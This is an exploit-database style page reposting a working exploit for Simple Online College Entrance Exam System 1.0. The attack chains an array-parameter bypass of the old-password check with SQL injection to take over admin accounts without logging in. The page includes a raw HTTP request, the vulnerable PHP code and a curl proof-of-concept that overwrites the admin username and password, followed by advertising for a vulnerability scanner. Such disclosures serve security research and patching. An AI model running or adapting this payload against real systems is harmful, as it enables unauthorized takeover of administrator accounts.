simple online college entrance exam system 1.0 account takeover

▸▸▸ Exploit & Vulnerability >>   webapps exploit & php vulnerability




simple online college entrance exam system 1.0 account takeover Code Code...
				
# Exploit Title: Simple Online College Entrance Exam System 1.0 - Account Takeover # Date: 07.10.2021 # Exploit Author: Amine ismail @aminei_ # Vendor Homepage: https://www.sourcecodester.com/php/14976/simple-online-college-entrance-exam-system-php-and-sqlite-free-source-code.html # Software Link: https://www.sourcecodester.com/download-code?nid=14976&title=Simple+Online+College+Entrance+Exam+System+in+PHP+and+SQLite+Free+Source+Code # Version: 1.0 # Tested on: Windows 10, Kali Linux # Unauthenticated password change leading to account takeover Explanation: By setting the parameter old_password as array, the MD5 function on it returns null, so md5($old_password) == $_SESSION['password'] since we have no session, thus bypassing the check, after that we can use SQLI and inject our custom data. Request: POST /entrance_exam/Actions.php?a=update_credentials HTTP/1.1 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Content-Length: 129 id=4&username=test',`password`='916b5dbd201b469998d9b4a4c8bc4e08'+WHERE+admin_id=4;%23&password=commented_out&old_password[]=test Vulnerable code in Actions.php: function update_credentials(){ extract($_POST); $data = ""; foreach($_POST as $k => $v){ if(!in_array($k,array('id','old_password')) && !empty($v)){ if(!empty($data)) $data .= ","; if($k == 'password') $v = md5($v); $data .= " `{$k}` = '{$v}' "; } } ... if(!empty($password) && md5($old_password) != $_SESSION['password']){ $resp['status'] = 'failed'; $resp['msg'] = "Old password is incorrect."; }else{ $sql = "UPDATE `admin_list` set {$data} where admin_id = '{$_SESSION['admin_id']}'"; @$save = $this->query($sql); PoC that changes the password and username of user 'admin' to 'exploitdb': curl -d "username=exploitdb',%60password%60='916b5dbd201b469998d9b4a4c8bc4e08' WHERE admin_id=1;%23&password=useless&old_password[]=useless" -X POST 'http://127.0.0.1/entrance_exam/Actions.php?a=update_credentials'

Simple online college entrance exam system 1.0 account takeover Vulnerability / Exploit Source : Simple online college entrance exam system 1.0 account takeover



Last Vulnerability or Exploits

Developers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Easy integrations and simple setup help you start scanning in just some minutes
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Discover posible vulnerabilities before GO LIVE with your project
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Manage your reports without any restriction

Business Owners

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Obtain a quick overview of your website's security information
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Do an audit to find and close the high risk issues before having a real damage and increase the costs
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Verify if your developers served you a vulnerable project or not before you are paying
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Run periodically scan for vulnerabilities and get info when new issues are present.

Penetration Testers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Quickly checking and discover issues to your clients
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Bypass your network restrictions and scan from our IP for relevant results
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Create credible proved the real risk of vulnerabilities

Everybody

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check If you have an website and want you check the security of site you can use our products
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Scan your website from any device with internet connection

Tusted by
clients

 
  Our Cyber Security Web Test application uses Cookies. By using our Cyber Security Web Test application, you are agree that we will use this information. I Accept.